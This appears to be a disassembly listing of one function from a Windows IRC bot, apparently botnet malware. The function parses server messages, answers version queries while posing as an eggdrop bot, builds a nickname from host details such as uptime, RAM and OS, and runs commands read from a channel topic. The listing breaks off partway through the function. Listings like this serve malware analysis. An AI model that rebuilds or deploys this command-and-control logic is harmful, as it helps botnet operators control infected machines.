var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	edi
		push	offset aPing	; "PING"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8A7
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		push	offset aPongS	; "PONG	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8A7:				; CODE XREF: sub_40D871+1Dj
		push	offset aPong	; "PONG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8C2
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D871+4Aj
		push	offset aMode	; "MODE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8DD
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8DD:				; CODE XREF: sub_40D871+65j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 1
		jnz	loc_40DB2D
		push	offset dword_41A14C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jz	loc_40DA81
		push	offset aSend	; "SEND"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+10h]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		cmp	[ebp+arg_0], 0
		jz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_40D98B


loc_40D986:				; CODE XREF: sub_40D871+F8j
					; sub_40D871+101j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D871+113j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+14h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 22h
		jnz	short loc_40D99E
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D99E:				; CODE XREF: sub_40D871+126j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+20h]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DB90
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_113], 0
		push	7Ah
		push	0
		lea	eax, [ebp+var_10F]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_95], 1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+18h]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_238], eax
		movzx	eax, byte ptr [ebp+var_238]
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 8
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 10h
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 18h
		movzx	eax, al
		push	eax
		push	offset dword_418A50
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+14h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_4024F3
		add	esp, 18h
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DA81:				; CODE XREF: sub_40D871+BAj
					; sub_40D871+C7j ...
		push	offset dword_41A138
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DAAD
		push	offset dword_41A12C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DAEB


loc_40DAAD:				; CODE XREF: sub_40D871+224j
		cmp	[ebp+arg_0], 0
		jz	short loc_40DAD1
		push	offset dword_41DD10
		push	3B7h
		push	0
		push	offset dword_41A108
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 14h
		jmp	short loc_40DAE6
; ---------------------------------------------------------------------------


loc_40DAD1:				; CODE XREF: sub_40D871+240j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_41A0E8
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 0Ch


loc_40DAE6:				; CODE XREF: sub_40D871+25Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DAEB:				; CODE XREF: sub_40D871+23Aj
		push	offset dword_41A0E0
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DB16
		push	offset dword_41A0D8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_40DB2D


loc_40DB16:				; CODE XREF: sub_40D871+28Ej
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DB2D:				; CODE XREF: sub_40D871+80j
					; sub_40D871+8Dj ...
		push	offset a433	; "433"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DCFD
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_2CC], eax
		cmp	[ebp+var_2CC], 4
		jnb	short loc_40DB71
		call	sub_406AE7
		test	eax, eax
		jz	loc_40DCB8


loc_40DB71:				; CODE XREF: sub_40D871+2F1j
		call	sub_406A23
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40DB9A
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DB9A:				; CODE XREF: sub_40D871+314j
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40DBB3
		call	sub_408E8E
		mov	[ebp+var_7E4], eax
		jmp	short loc_40DBBD
; ---------------------------------------------------------------------------


loc_40DBB3:				; CODE XREF: sub_40D871+333j
		mov	[ebp+var_7E4], 400h


loc_40DBBD:				; CODE XREF: sub_40D871+340j
		mov	eax, [ebp+var_7E4]
		shr	eax, 0Ah
		mov	[ebp+var_36C], eax
		call	sub_408887
		mov	[ebp+var_2D0], eax
		mov	[ebp+var_368], offset aB ; "B"
		cmp	[ebp+var_2D0], 3E8h
		jnb	short loc_40DBF7
		mov	[ebp+var_368], offset aA ; "A"


loc_40DBF7:				; CODE XREF: sub_40D871+37Aj
		cmp	[ebp+var_2D0], 1F4h
		jnb	short loc_40DC0D
		mov	[ebp+var_368], offset aG ; "G"


loc_40DC0D:				; CODE XREF: sub_40D871+390j
		and	[ebp+var_370], 0
		mov	[ebp+var_364], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_360]
		rep stosd
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_360], 5
		jnz	short loc_40DC54
		cmp	[ebp+var_35C], 1
		jnz	short loc_40DC54
		mov	[ebp+var_370], 1


loc_40DC54:				; CODE XREF: sub_40D871+3CEj
					; sub_40D871+3D7j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_370], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	5Dh
		push	[ebp+var_2CC]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_390]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: sub_40D871+2FAj
		push	offset dword_41DB80
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EF28
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------


loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax


loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EF28
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41EE28
		push	offset dword_41DB90
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------


loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41F028
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------


loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx


loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41F028
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41F028
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EF28
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EF28
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4


loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------


loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0


loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0


loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------


loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EF28
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158


loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------


loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0


loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------


loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1


loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------


loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax


loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8


loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1


loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------


loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EF28
		push	[ebp+var_90]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax


loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_80], eax


loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]


loc_40E3E0:				; DATA XREF: brattyty:off_419BA4o
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------


loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
